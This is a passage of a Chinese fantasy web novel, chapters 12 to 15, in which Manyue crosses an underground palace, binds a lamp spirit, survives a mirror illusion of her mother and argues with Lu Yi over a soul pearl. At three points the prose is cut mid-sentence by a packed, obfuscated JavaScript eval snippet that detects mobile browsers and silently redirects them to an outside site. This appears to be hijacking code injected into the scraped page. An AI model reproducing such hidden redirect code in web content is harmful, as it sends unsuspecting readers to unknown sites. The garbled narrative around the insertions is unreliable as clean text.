摔下来时,她一心记挂着小肥啾,将它紧紧护在怀中,所以隔得不远。 陆乙就不一样了。 满月强撑着找了一圈,没有发现丝毫线索。她坐回地上,努力回想着原著中有没有什么能够帮到她的情节,但一无所获。 她隐约记得九曲地宫中死气遍布,非常人能够承受,稍有不注意就会落得个神魂俱灭的下场,可不知为何,她却不受影响,连奄奄一息的小肥啾跟在她身边,呼吸也逐渐变得平稳起来。 满月想不通其中原理,只将此归结为陆乙那张符箓的作用。 待恢复些力气,满月抱着小肥啾起身。 地宫里阴冷,散发着不详的气息,留在原地迟早会被那些游荡于此的阴煞发现, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995415|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满月觉得与其坐以待毙,不如先发制人,说不定能找到陆乙,至少多一分胜算。 为了不被阴煞注意到,满月熄灭了蓝色火光,地道里黑得伸手不见五指,只有些微不知道从什么地方透进来的微弱光亮。也难怪,如果她没记错,度母阴司的真身是地龙,偏爱阴冷潮湿又黑暗的环境,建成这样才最合他口味。 行走在黑暗中,满月的心砰砰直跳,生怕下一秒转角遇见爱。她抱紧怀中的小肥啾,给自己壮壮胆。 窸窸窣窣的声音传来,像是有什么东西爬动。 满月的眼睛虽适应了黑暗,但也只能勉强看清近前的东西,隐在阴暗里的还是未知。她惊得停住脚,一动不动,生怕招惹来不怀好意的窥视。 所幸那东西似乎没有发觉她的存在,听声音越走越远。 满月松了口气。 她轻手轻脚又走了几步,但见面前出现了一道木门,木格雕刻着菱花纹,十足精致。 地宫生存守则第一条,不清楚底细的房间不要作死入内。 满月屏住呼吸,默默后退一步,正当她打算不动声色地离开此处,先前窸窣的声音忽然再度传来。 听声音,是向她这个方向靠近。 满月不敢动,只寄期望于这东西像刚刚一样离开。 这一次期望却落空了。 窸窣的声音越来越响,粘稠状的不明物体终于还是爬上了满月的脚。 “要死了!” 感受到那冰冷油滑的黏腻触感,满月再撑不下去,一脚踢开那东西,飞也似的闯进了门内。 她后背紧贴着门扉,惊魂未定,心突突跳着。当初看书的时候她还抱怨不够恐怖,现在看来纯属是她脑子进水了。 门外那东西撞上来,发出哐当哐当的声响,门扉摇摇欲坠。 满月眼疾手快地插好门栓,将入目可及的桌椅板凳都拿来堆在门口,暗自祈祷这东西最好不是高阶阴煞,要不然十张桌子也拦不住它闯进来。 那东西又撞了一会儿,见迟迟撞不开,才终于消停了。 满月等待片刻,外面确实没了声音。 房间内外均是一片死寂。 这门的质量有这么好吗? 满月有些奇怪,但也没多想。她打算再等一会儿,确定那鬼东西真的走了再出去,免得被逮个正着。 这么想着,怀里的小肥啾不知何时醒了过来,它闻着熟悉的气味,知道在满月身边,安心不少。 “啾啾啾。” 满月垂眸,见小肥啾探出头来,很是欣喜:“你醒了?” 小肥啾:“啾啾啾。” 满月依言将它放在前面的桌子上,小肥啾抖擞了下羽毛,低头啄了啄,像是在检查自己有没有什么受伤的地方。 满月见它这么精神,另一半悬着的心也放下了。她摸摸小肥啾的小脑瓜,正要问它感觉怎么样,小肥啾抬起头,身子忽然抖起来,它用翅膀抱住了自己的小脑袋:“啾啾啾……” 满月一开始还没听明白,直到小肥啾讲了第二次,她手上的动作一顿,一股毛骨悚然的寒意从脊梁骨直窜上来,无可名状的恐怖气息瞬时席卷全身。 如果没听错,小肥啾说的是:她背后,有人。 12. 012 满月不动,身后的那东西也没动。 满月极力按捺住心头冒起的寒意,她几不可闻地晃动了下袖子,藏在其中的竹筒顺势滑入她手中。 这趟下山太过匆忙,她什么也没准备,只有装着灵谷的竹筒跟了她一路,成了目前险境下她手里唯一的物件。 虽然知道没什么用,但也只能死马当活马医了。 她在心里默数了几个数,鼓足勇气,将灵谷尽数抛向身后。 身后那东西被一堆灵谷浇了个满头,它似乎没见过这是什么,竟真的被唬得重新缩回了黑暗之中。 满月也没想过一筒子灵谷能造成伤害,不过是为了争取时间罢了。她抱起小肥啾,一把推开挡在门前的桌椅板凳,正要拉开门闩,啪嗒一声,有东西附在了木门背后的格窗上。 先前追她的爬行物又回来了。 满月登时僵在原地,出去不行,不出去也不行。 门外的粘稠爬行物又开始新一轮的撞门,啪嗒,啪嗒。 满月的手从门闩移开,一时半会儿出不去,她只得被迫转向身后。 藏身于黑暗之中的东西慢慢露了头,尽管早有心理准备,满月还是被吓了一跳。 那是个身着纯白衣裙的小女孩,黑发披散,一张脸涂得惨白,脸颊两坨腮红,眼睛几乎全是纯黑瞳仁,正一眨不眨地瞧着她。 满月:“……” 满月前世饱读很多恐怖片,忽然觉得没那么怕了,甚至有点想笑。 什么山寨跳大神版伽椰子。 小女孩拾起地上的竹筒和灵谷,放在鼻子下嗅了嗅,又抬起头,鬼气森森的黑瞳之中没有丝毫感情:“你身上,很好闻。” 满月:……? 小女孩抓起一把灵谷放在嘴里,嘎吱嘎吱嚼得作响,与外面不曾间断的撞门声形成鲜明对比。 事到如今满月也算是冷静了下来,她仔细瞧着面前打扮渗人的小女孩,蓦然想起原著中似乎出现过这么一个人物。 度母阴司烧杀劫掠无恶不作,积攒下不少的天材地宝,均被他藏在地宫之中。地宫不见天日,阴煞的死气与宝物琉璃灯的灵气交织在一起,天长日久,竟生化出一只小妖怪,无形无状,没有血肉,可以变成任意模样,平日里住在灯中。 原著里小灯妖出场就类似这样一副跳大神的打扮。要说坏心也不是,她是天生无父无母的精怪,并不熟悉人间的规则,变成这个模样单纯是在画像里见过,图个好玩罢了。她法力强大,没有是非善恶的观念,但不受度母阴司驱使。原著中她见到男主没多久就认了主,以带她离开地宫四处游历为交换条件,成为主角团得力的左膀右臂。 满月倒没想过抢男主机缘这种好事,宝物要是能随便认主也不叫宝物了,她有自知之明。 不过猜出眼前人的身份,满月心里多少有了底。小灯妖并不是热爱吸干血肉的阴煞,行事只凭喜好,相对而言没有那么危险。 小女孩吃完了地上的灵谷,一抬头,重又望向满月:“好吃,还有?” 满月怔了怔,从衣袖里又翻出一个备用的竹筒:“只有这些了。” 小女孩没动,眼巴巴瞧着她。 满月反应过来,她应该不知道怎么打开。 满月只好将竹筒的灵谷倒在掌心,递给了小女孩:“给你。” 小女孩并没有接过,而是就着满月的手吃起来,这进食的模样,有点像满月前世养过的一只猫。 满月手痒得很,只想刺挠刺挠她的下巴。 小肥啾或许是感知到对方没有杀意,它从满月怀中悄悄探出半个小脑袋,看小女孩吃得津津有味,它咽了口口水,也有些馋了。 不过再馋它也不敢出去护食,只好委屈地啾了一声,重新缩回满月怀中,眼不见心不烦。 小女孩吃完,满月才收回手。 虽然小女孩暂时对她们没有恶意,但满月还是不敢掉以轻心,她小心地和她商量:“我们可不可以在这里待一会儿,等外面那个东西离开了再走。” 小女孩眨眨眼,无机质的黑瞳在夜色中有几分诡异:“你,怕它?” 满月愣了下,才知道她指的是外面的东西。 满月很诚实地点点头。 门外的碰撞声还在有规律地进行,无止无休。 小女孩笑了,露出尖尖的牙齿,她飘到门边,化为一缕轻烟从狭窄的门缝钻了出去,只听当当咚咚几声,木门打开了。 满月抱着小肥啾警惕地看向门口,小女孩重新化为人形,手里拖着个不知道是什么的东西,走到了满月身边。 小女孩手一松,那只东西摔在地上。 满月终于看清这玩意儿的庐山真面目。 那是一只黑色粘稠状的肉球,失去了生命体征,软踏踏摊在地面。原著里阴煞有高阶低阶之说,高阶阴煞可以变幻人形,足有使用阴谋诡计害人性命的心智,而低阶阴煞则心智尚未发育完全,是只知杀戮的恐怖邪物。 还好她遇见的是低阶阴煞。 满月一时不知道该说什么好,她竖起大拇指:“……多谢英雄相助。” 小女孩歪了下头,黑色瞳孔平静无波,她学她竖起手指:“什么,意思?” “夸你厉害的意思。”满月言简意赅。 “那我……先走了?”满月还记挂着生死未卜的陆乙,现在没有危险阻拦,自然是想要再去寻找。 小女孩未置可否,她飘起来,与满月一般高,动了动小鼻子,靠近了她:“你身上,熟悉,好闻。” 满月冷得一哆嗦。 这孩子该不会有什么不为人知的心理疾病吧。 她正想该如何脱身,小女孩又说话了。 小女孩:“你愿意,当我的,主人?” 满月:? 小女孩解读不出满月错愕的表情是何含义,以为她不愿意,虽然照旧是面无表情的一张脸,周身的温度却低了好几个点,冻得人直哆嗦:“我,很强。” 满月:…… 她当然知道。 可是,可是这不是原著里属于男主的机缘吗! 满月斟酌了下措辞:“你确定吗?我没什么本事,可能给不了你想要的。” 小女孩不明所以:“想要,什么?” 满月不知道该怎么解释。 一方面她出于对原著主角团的感情,并不想夺走本该属于他们的东西,但另一方面…… 想活下去的欲望大过一切。 从前不想活,是没得选,可是现在,她头一次拥有了选择的权利。 满月的心砰砰直跳,莫名有种做坏事的感觉。 她定了定心神,反问对方:“那你考没考虑过你想要什么呢?” “带我,离开。”小女孩道。 小灯妖和血肉生成的妖不同,她是应气而生,被困在地宫之中,如果不认主,很难离开这里半步。 满月清楚,小灯妖之所以选她为主人,很可能只是因为她是她遇见的第一个外人。 就像她遇见男主一样。 满月屏住呼吸,挣扎了片刻,良心最终还是被狗吃了。 她点了点头:“我愿意。” 小女孩表情未变,周身的温度却瞬间回升,她伸出手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995416|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑瞳认真地看着她:“给我,你的。” 满月依言将自己的手搭在她的手上,蓝色的光阵自地面映出,小女孩的衣衫被不知何来的风吹得作响,惨白面容在光晕之中尤为瞩目。 满月依照直觉闭上了眼。 “契约,已成。”小女孩睁开眼,纯黑的眸子盯着满月,“吾之,灵力,将供汝,驱使。” * 又饿又渴。 满月擦擦额头上的汗,终于还是走不动了。她随便挑了个石墩坐下歇脚,怀里的小肥啾也发出虚弱的啾啾声。 这里不见天日,满月也不知道过去了多久,只觉得肚子饿得咕咕叫,喉咙也干得快冒烟。 不过这也不能代表她们在地宫中呆了很长时间。九曲地宫布满妖阵,消耗得快,无论灵力还是体力。 小灯从满月装在衣袖里的琉璃灯中冒出头,结契认主之后,她与满月心意相通,能够感知她的状态。 “你想,吃东西。”小灯眼睛一眨不眨,平静地说道。 人艰不拆啊。 满月略有些尴尬,但却反过来安慰她:“没事,我歇一会儿就好,等找到人,我们就能出去了。” 小灯歪了下头,什么也没说,一溜烟蹿了出去。 满月哎了一声,没来得及叫住她,已不见她的踪影。 没过多久,小灯回来了。她手里还抓着两只狩猎到的低阶阴煞,往地上一扔,黑眸瞧向满月:“给你,吃。” 满月:“……谢谢。” 但还是不必了。 地上的阴煞没死透,黑色的躯体一动一动微颤着,细微的血管遍布在表面,像一只巨大的蠕动着的肉瘤。 别说下口了,不被恶心吐都算能耐。 满月霍地起身,面带假笑:“好奇怪突然就不饿了呢,我们接着找吧。”言罢她就抱着小肥啾向前走。 小灯虽然不明白自己的新主人为何要说假话,但也没多想,飘着跟了上去。 主人这么做,一定有她的道理。 满月离开那摊阴煞,才几不可闻地松了口气。她漫无目的地四下打量,随着时间的推迟,对找到陆乙越来越不抱希望。 先不说九曲地宫危机重重。若像她一样落在外围地带还好,度母阴司狂妄自大,可能不会多加理会,可若是不巧落在了地宫中心的大殿,那十有八九是会变成度母阴司的加餐了。 陆乙好歹救过她,满月不愿去设想那么恐怖的结局。她晃晃脑袋,决定再找不到,就只能先走一步了。 不远处,有黯淡的火光在跳动,成为四周唯一的光源。 满月回头,奇怪地问小灯妖:“你知道那里是什么地方吗?” 小灯看了一眼,目无波动:“镜子,四面,很大。” 小灯描述得十分抽象,满月却听明白了,如果她猜得没错,这就是原著里出现过的四方镜。 四方镜是高阶阴煞所化,阴煞可以照见人心中感到恐惧害怕的地方,而四方镜则将这样的地方具现化,修为不够的人堪不破幻象,沉溺其中,不知不觉间就会被阴煞吸干血肉,成为一张空皮囊。 不知是不是陆乙之前贴在她身上的符又起了作用,满月隐隐感觉,她寻找多时的陆乙,或许就在这里。 满月站在四方镜外,火光跳跃,映在她眸中,清晰可见。 “为什么,迟疑,恐惧?”小灯问她。 满月没有回答,只反问:“你进去过这里吗?” 小灯点头:“去过。” “你看到里面有什么?” “没有。”小灯回答,“什么,都没有。” 13. 013 什么都没有? 满月思忖。 小灯妖是应气而化,生在地宫长在地宫,心性至简至纯,无怖亦无惧,四方镜在她这里失效是情有可原的。 原著中的四方镜,可是连男主藏在心底最深处的梦魇都照了出来,若非主角光环加持,只怕他也要葬身此处。 满月不敢赌。 她一个没着没落的底层小妖怪,生平怕的事太多,怕死,怕被欺负,怕度母阴司,怕保护不了想保护的妖,还怕毫无征兆就成为炮灰。这其中无论四方镜读取到哪一个,她都没信心能从中挣脱出来。 满月在心中默念了对不起,打定主意还是自己先跑路吧。 如果她能活下来,来年一定给路人脸烧纸钱,也算是回报他救自己一命。 一定。 一旁的小灯奇怪:“为什么,又愧疚?” 满月:“……” 小灯头一次与他人心意相连,对满月的动心起念一万个好奇,简直是实时播报她的心理动向。 满月深吸一口气,尽量保持着面上就快要挂不住的笑容:“先前的约法三章,我还想再加一条。” 小灯黑眸寂然:“什么?” “没事不准私自感知我的心意。”满月点了点她的额头。 小灯眸中有失望闪过,但还是坚持不懈追问:“为什么,不准?” 满月哑然,不知道该怎么解释。 原著里男主就没这个烦恼,因为他自身修为高超,善护心念不被感知,完全和满月不是一个等级。 果然抢机缘这种事是会付出代价的QAQ “……不准就是不准。”满月决定独/裁一次,“没有为什么。” 小灯抿了下唇,满眼的不服气,她嘴唇翕动正要开口,满月提前预判,及时打断她:“也不准问为什么没有为什么。” 小灯眨眨眼,不吭声了。 相处这短短的时间,满月已然摸透了这熊孩子的个性,凡事爱打破砂锅问到底,对万事万物都保有高度好奇心。 满月让小灯带她离开地宫,小灯依言走在前面,然而走着走着,满月发现不对劲了。 她有些迷糊:“怎么感觉……又绕回来了?” 果然没多久就看到前面的火光。 小灯不信邪,她万年不动眉头轻轻皱了下:“再来。” 结果又一次回到原点。 小灯不说话了,径直再朝反方向而去。 等第三次回到同样的地方,虽然不想打击小灯妖的积极性,满月还是忍不住了:“要不然我们做个标记,这样就知道到底是不是回到原处了。” 小灯想了想,觉得是个好办法。 第四次看到墙上刻下的记号,满月和小灯双双陷入沉默。 小灯年岁不大,一向是天纵奇才,少有这样碰一鼻子灰的时候。 她周身低气压,默默注视着前方跃动的火光,面沉似水。 满月生怕她一个不开心就去找四方镜拼命,先安抚她道:“是祸躲不掉,四方镜既然已经注意到我,不让我离开也是正常的。你已经做得很好了。” 小灯看满月一眼,虽然照旧还是一张没有表情的冰山脸,满月却明显感觉到周遭的温度有所回转。 小灯率先飘向四方镜所在的方向,满月叹了口气,极不情愿跟在后面。 她们三番两次回到原点,摆明了是四方镜作祟,不过这一关,今天是别想出去了。 事到如今满月人已经麻了。就像她安慰小灯妖说的,是福不是祸,是祸躲不掉,能不能活下来,她从来说了不算。 好在她现在有了小灯妖这个外挂,不再是一开始的手无寸铁,多少有点希望。 穿过狭长的甬道,满月陡然冷起来。头顶倒悬钟乳石上的积水不知何故冻结成冰, 满月心里打着鼓。 原著中对四方镜的描述,强得近乎可怕,几乎没有破绽,一旦被它狩猎,很难逃脱,就像满月刚才的鬼打墙一样。主角团之所以能联手制服,也是因为他们全部陷入梦魇之中,四方镜一时轻敌露了本体,才被主角光环附体刚好清醒过来的男主斩获。 换言之四方镜虽诡谲莫测,本体却脆得像张纸。若能诱得它露出本体,有小灯在,她未必没有胜算。 只是风险也大。 满月略一思量,把该交代的事都交代给小灯。小灯点点头,化成一缕青烟飘回琉璃灯中。 满月将灯盏和小肥啾一起留在外面,孤身一人走入四方镜。 四方镜内的温度奇低,冰天雪地,火光就成了唯一的热源。 满月警惕着随时可能出现的幻觉。她毕竟看过原著,事先预知危险,好过并不知情的主角团。 地上有一具尸体,似乎已经被阴煞吸干血肉,只剩皱巴巴的一张人皮,漂在浅浅的水潭之上。 满月惊得险些叫出声,她心一沉。 人皮皱得看不出原本的模样,只能通过细枝末节大致判断出原主的身份。 恐怖的设想还是成了真。 再怎么说,陆乙毕竟救过她,如今落得这般下场,满月还是有几分唏嘘和怅然。 她不敢走上前去细看陆乙那副恐怖的样子,隔了些许远,她一面将袖间的帕子抛过去,勉强盖住人皮死不瞑目的眼,一面小声念叨:“都说了别作死,怎么就不听劝呢?唉,你若真有在天之灵,就保佑我平安走出此地,我一定替你立碑烧纸,好让你有个着落,不至于做孤魂野鬼。” 讲完这些话,满月觉得自己仁至义尽,也算报了他救命之恩。她有模有样地拜了拜,才接着向前走。 靠近火光,满月忽然心念一动,有些怪异地回头瞥向那片水潭。 不怪她疑心,实在是四方镜太过诡诈,焉知刚才的人皮是真,还是只是她心中的恐惧所化。 她已经进入四方镜缔造的结界之中了吗? 满月抬头,四面镜子中的她也跟着一齐抬头,看不出异象。 满月只觉得周遭越来越冷。 她越想越不对劲,折身打算回水潭一探究竟,她刚迈出一步,猛然间水潭变成了湖泊,暗无天日的地宫也不见了,雪花打着旋儿,悠悠落在她肩头。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995417|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 好冷。 满月眨眨眼,这才发现不知何时她身上的衣服都湿透了,寒冬腊月里,风吹到身上,宛如刀子一般刺骨。 满月冻得牙关打颤。她茫然地站在天地间,冬日里清澈见底的湖水映着她的身影,宛如一只落汤鸡。 她忽然想不起来自己为何会在这里。 头顶的天灰蒙蒙,空中飘着零星的雪花。她站在湖泊旁,岸边种满了柳树,经过一冬枝叶全掉没了,光秃秃的。在不远处,有一间简陋的草庐,冒着炊烟,似乎有人在烧柴火。 又一阵风吹过,满月打了个喷嚏。 她什么都记不起来,只知道想要烤火的欲望大过一切。 满月迈着沉重的步伐向着草庐走去,离近了,但见那是用篱笆简单围起的小院,中间用茅草堆简单架起一间小屋,屋外地上铺满了摘来晒的干货,有位着布裙荆钗的年轻妇人正背对着她,往烧着火的泥炉添柴。 满月冻得瑟瑟发抖,她出声道:“这位大姐,麻烦能不能让我进去烤个火。” 她说完,添柴的妇人抬起头。满月睫毛上的水珠冻得结了冰,眼前的一切都变得模糊,让她看不清她的脸。 年轻妇人却是惊讶道:“你怎么湿透了?是不是又贪玩去了湖边?快进去换身衣裳。” 她认识她? 满月眨眨眼,不明白目前的状况。那妇人走过来,隐在雾里一般的面容显露出来,那是一张十分清丽的脸,眉眼生得有几分熟悉,有些……像她? 满月一愣,一瞬间她的身体好似缩小了,面前的妇人比她高了不少,上前来握住她冰凉的小手,将她带回草庐。她声音温柔:“一看不住你就淘气,这么冷的天去玩水,染了风寒可怎么办?” 她絮絮叨叨的话越飘越远,满月渐渐有些听不清了。她头痛欲裂,觉得这些话似曾相识,她好像在什么地方听到过,扎得她心口有些痛。 你是谁? 满月想问,张口却发不出声音。 她愈来愈冷了。 满月不受控制地被带走,走向那充满温暖的泥炉前,那里映着橘色的火光,也却并不能让她感觉到丝毫的暖意。 风骤然变大,雪也跟着下大了。 “睡吧,睡一觉就好了。”妇人亲了亲她的额头,满面愁容,“阿娘去给你抓一些药回来。” 阿娘…… 阿娘? 满月眼睁睁看着妇人离开,她伸手想要去抓她衣袖,身体却好似灌了千斤泥一般,不断地往下坠。 她动不了了。 满月又冷又累,她慢慢阖上眼,意识就要散去的一刻,忽然有什么东西轻轻点在她的眉心。 “……”有人似乎在她耳边说了什么。 “散。” 面前的景象如同碎裂的镜子一般土崩瓦解,满月倏地睁开眼。 没有湖边草庐,没有年轻妇人,也没有昼夜不息的风雪。 她仍旧身处在不见天光的地宫之中,蓝衣少年屈膝半跪在她身前,修长的手指点在她的眉心,正似笑非笑瞧着她。 陆乙。 14. 014 “你看到了什么?”陆乙问。 满月头痛欲裂。刚刚身临其境的幻境又像是蒙上了一层雾,重新被封锁回记忆最深处,什么都想不起来了,只有那种恐惧,害怕失去和被抛弃的恐惧,仍如附骨之疽,让她摆脱不掉。 “我……忘记了。”满月晃晃脑袋,额角的刺痛感渐渐消退。 陆乙以为她不愿意说,也就没再继续追问下去。 满月扶着额从地上坐起来,有些茫然地打量四周,倒是进入幻境前的记忆如潮水一般涌来,她反应过来,转眸看向面前的陆乙,十分震惊:“你,你怎么又活了?!” 陆乙一挑眉,刚要讲话,满月却又道:“不对,我明明看见你被阴煞吸干了……你是四方镜制造的幻觉,对不对?” 陆乙弯眼笑起:“之前不是还说要我在天之灵保佑你吗?怎么现在怕了。” ……这话她确实讲过。 满月被唬得将信将疑:“……你真死了?那我现在能看到你,是不是……” 是不是意味着她也没了? 陆乙不予置评,只是笑着看她。 满月脸色灰败,她双手抱头,喃喃自语道:“果然没奏效啊……” 正说着,一阵风疾驰而来,以快到看不见的速度向满月奔去。待疾风落定,小灯的身形现了出来。因为之前的约法三章,小灯卸去了随时吓人一跳的跳大神打扮,变成一个普普通通的小女孩模样——除了她是飘着的。 小灯与之前那副波澜不惊的模样不同,她呲着牙,冷如寒潭的黑眸映出面前人的模样,警惕地盯着对方,作为结契的主人,满月感受到她的敌意与全身的紧绷。 满月讶然:“小灯?” 小灯没有回头看满月,仍只是一瞬不瞬盯着陆乙。 这个人,很危险。 满月还是头一次见小灯这副模样,先前无论是碰到低阶阴煞还是四方镜,都不曾见她有过情绪波动。 有点炸毛。 满月也不知小灯为何如此激动,她忙道:“自己人,别动手。” 陆乙却始终没有什么表情变化,仍旧是挂着一抹似是而非的笑,目光从满月平静地转移到小灯身上。 倒是满月后知后觉反应过来:“不对啊,小灯怎么也在,难道……我没死?” 她终于明白过来,自己又一次被陆乙捉弄了。 满月气恼地瞧向对方:“你又骗我!” “我没有回答,是你自己以为的。”陆乙撇开眼,视线转向四周,话中的笑意未减,“不过还得多谢你,替我引出这片幻境的主人。” 满月:? 满月这才发现周围不知何时早变了个样子,四面无缝衔接的镜子早碎掉,碎片化成波光粼粼的粉末,露出了藏在后面的四副壁画。 满月有些许呆滞。 这是不是代表着,四方镜已经……死了? 连尸体都没见着,看来是魂飞魄散,直接被就地度化。 原著中打了十几章的小boss……他杀得这么轻松吗? “他,很强。”小灯一面紧盯着陆乙,一面低声对满月说,“我本来,按你说的,但他,比我快。” 满月在进四方镜之前叮嘱小灯,她只身前往其中,运气好能诱出四方镜本体,小灯就趁其不备下杀招,若运气不好只招来普通的阴煞,小灯就负责将她救出去,免得真的被阴煞蚕食干净。 四方镜和普通阴煞不同,它极为挑剔,误入结界的外来者大部分都被赏给地位低它一头的阴煞享用,能入它眼的少之又少。满月本来是死马当作活马医,是没有办法的办法,没想到真的诱出了它的本体。 满月从地上爬起来,拍拍身上的灰,转头瞧向原先的水坑,先前诡异可怖的人皮失了术法,重新变回一张薄如蝉翼的纸人,孤零零漂浮在水坑之中。 果然。 陆乙一定是通过什么方法预知了四方镜的危险,他用纸人替他进去送死,自己则藏身暗处,可惜四方镜的本体没有出现,只招来了些普通阴煞。 所以他才说感谢她。 想清楚前因后果,满月不动声色地看了眼正在研究壁画的陆乙,似是感受到她的目光,陆乙回头,眉眼弯弯:“怎么了?” 两人视线相对,满月一个激灵,她慌忙错开眼,有点心虚:“没,没什么。” 陆乙闻言继续回头看起壁画来,竟真的没有追问她。 想让他成为自己的【机会】,可能一开始就是一个错误又危险的想法。 利用他做事,无异于与虎谋皮。 满月缓过来一口气,才装作若无其事地随口问道:“对了,你有没有看过一本叫做《斩妖》的小……话本子?” 陆乙扬了下眉:“没有。” 满月哦了一声,心事重重。 陆乙道:“你问这个做什么?” “我……忽然想起来看过这样一个话本子。”满月语无伦次,“挺,挺好看的。” 陆乙瞧着她,眼神怪异:“你还有这种喜好。” 满月一怔,这才想起来她自己就是个妖,看这种题材的话本子确实与众不同。 满月死要面子活受罪:“……还好,一般喜欢。” 陆乙笑了一声,不理她了。 满月则对陆乙的真实身份充满了种种疑虑。 若说遇到画境,陆乙能打赢,是因为他实力太强,可四方镜又如何解释? 他怎么会知道四方镜的弱点在本体? 满月心神不宁,她见陆乙聚精会神,只得暂时压下心中的困惑,也跟着看起石壁。 薄冰之下,石壁上刻着巨大的四幅画,画上有四个奇形怪状的妖物,各以不同的死状倒地,墙壁应景地在四妖身上涂着红色,不知是颜料还是什么,他们身边各自散落着一枚珠子。 说是壁画,感觉和小孩涂鸦差不多,画得十分简陋,若不是看过原著,满月真不一定能瞧懂这么抽象的画作。 这画便是贯穿原著全文的主线预言。 四妖灭,妖王现。 这项预言为原著增添了不少诡异的气氛,主角团更是最后才弄懂画作的真正含义。可惜满月通读全文,早已被透了底,这就像看推理小说被人泄露杀人凶手一样,不仅不再觉得有趣,反而有些索然无味。 倒是陆乙看得很是投入。他面上没了以往的懒散笑容,修长手指略过四妖身上的朱红印记,不知感受到什么,闭上了眼。 金光一闪,墙壁陡然消失在眼前,现出了后面的暗层。 暗层仍旧是一幅画,画上行迹诡异的大妖匍匐在地上,手里 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不过原著中的命魂珠是被度母阴司藏在身边,现在却改为藏在墙中。 陆乙笑着觑她,似乎在等她一个合理的解释。 满月脑子转得快:“我是怕这东西又像四方镜一样,万一你我都着了道,这次我们就团灭了……你知道团灭是什么意思吗?” 陆乙没听过这个新奇的词汇,但不妨碍他望文生义。 他笑着,还是先前那句话:“可是我又不怕。” “我怕!”察觉他又要动手,满月用尽全身的力气抱住他,“我还想多活两年,求求你了,看在我来救你的份上,能不能不要再作死了!” 陆乙挑挑眉,很会抓关键词:“救我?” “对啊!”满月大言不惭,“我得到小灯,嗯……就是我旁边这位。” 小灯听满月提及自己,抬头望去,恰好对上陆乙笑盈盈的目光。 ……然后她又炸毛了。 满月没空管这么多,她将龇牙咧嘴的小灯妖按回去,自顾自接着道:“小灯很厉害的,认识这里的路,原本我都可以出去了,但我想着你先前也算救了我一命,所以我才留下来,想带你一起走。如果不是这样,我怎么会来到这里!” 她说谎不打草稿,面不红心不跳,一瞬不瞬瞧着陆乙,黑白分明的眼眸清澈透亮,毫无杂私,俨然实诚极了。 为了增加可信度,满月又低头看了眼小灯:“你说对吧,小灯。” 小灯妖迟疑了两秒,虽然不明白主人撒谎的用意,还是违心点了点头。 满月看上去很有底气,心里却突突打着鼓,生怕露出什么破绽。 毕竟这家伙不好糊弄。 陆乙笑得更温柔了:“是这样吗?” 被人救,于他而言,确实是新奇的体验。 “当然了!”满月回答得很坚定,“我怎么会骗你。我真是为了救你才来的!我看到你的尸体以为你死了,还想给你立碑烧纸呢。” “可是。”陆乙稍俯下身,陡然拉近了与满月的距离,他直视着她的眼睛,笑容不变,“这和我拿不拿珠子,有什么关系?” 15. 015 满月:“……” 她原以为自己扯了这么远,这人多少也该被绕进去一些,没想到他是完全不受影响,思路清晰,直切要害。 “你如此紧张,又信誓旦旦说其中有诈,难不成……”陆乙一顿,观察到满月紧张地咽了口口水,才接着说,“你知道那珠子是什么东西?” “怎,怎么可能!”满月否认,“我才不知道这是什么东西!” “那为何不愿让我拿?” “都说了,我怕其中有诈。”满月不想被这么盯着,太有压迫感,她稍稍移开眼,“我只是害怕,也不是确定,毕竟这破地宫处处都暗藏危机,鬼知道这里面又有什么东西。” 陆乙直起身,拉开了与满月之间的距离,后者不动声色松了口气。 陆乙道:“那你先走,等你离开我再拿,这总没有问题了吧?” 满月嘴角微微抽搐了下,还真没别的说辞了。 讲到底,她就是不想让陆乙拿到命魂珠。 诚然,命魂珠会让持有者得到力量,但也会在无形中影响持有者的心性,令其不知不觉变得残忍暴虐,时日一久,若没有别的方法应对,甚至连魂魄都会受到影响,最终落得个灰飞烟灭的下场。 也只有男主这样的天命之子才能免疫这种精神攻击。 陆乙的实力深不可测,得到命魂珠,万一真被改变了心性,无疑是天大的灾难。 更何况命魂珠和小灯妖不同,是原著的核心战力,他要是在此时拿走了命魂珠,将会直接改变原著剧情走向,主角团后面该用什么打最终大Boss? 要知道那家伙脑子很有病,危害度可太大了,一不留神差点毁灭整个世界,而且他智商战力双开挂,主角如果没有命魂珠,根本没有一战之力。 所以无论如何,命魂珠都只能落在主角手里。 思绪百转千回,满月心一横,也顾不得自己的安危,她道:“……反正你不能拿。” 陆乙笑起来,他收回触碰石壁的手,转过身,慢条斯理看向满月:“哦?” “我,我知道这是什么。”满月面不改色,心却砰砰直跳,“这是阴司大人的东西,叫做命魂珠,你若拿它,必遭反噬。” 她话音刚落,陆乙脸上的笑容罕见地消失了一瞬。 周遭霎时变得比刚才还要阴冷。 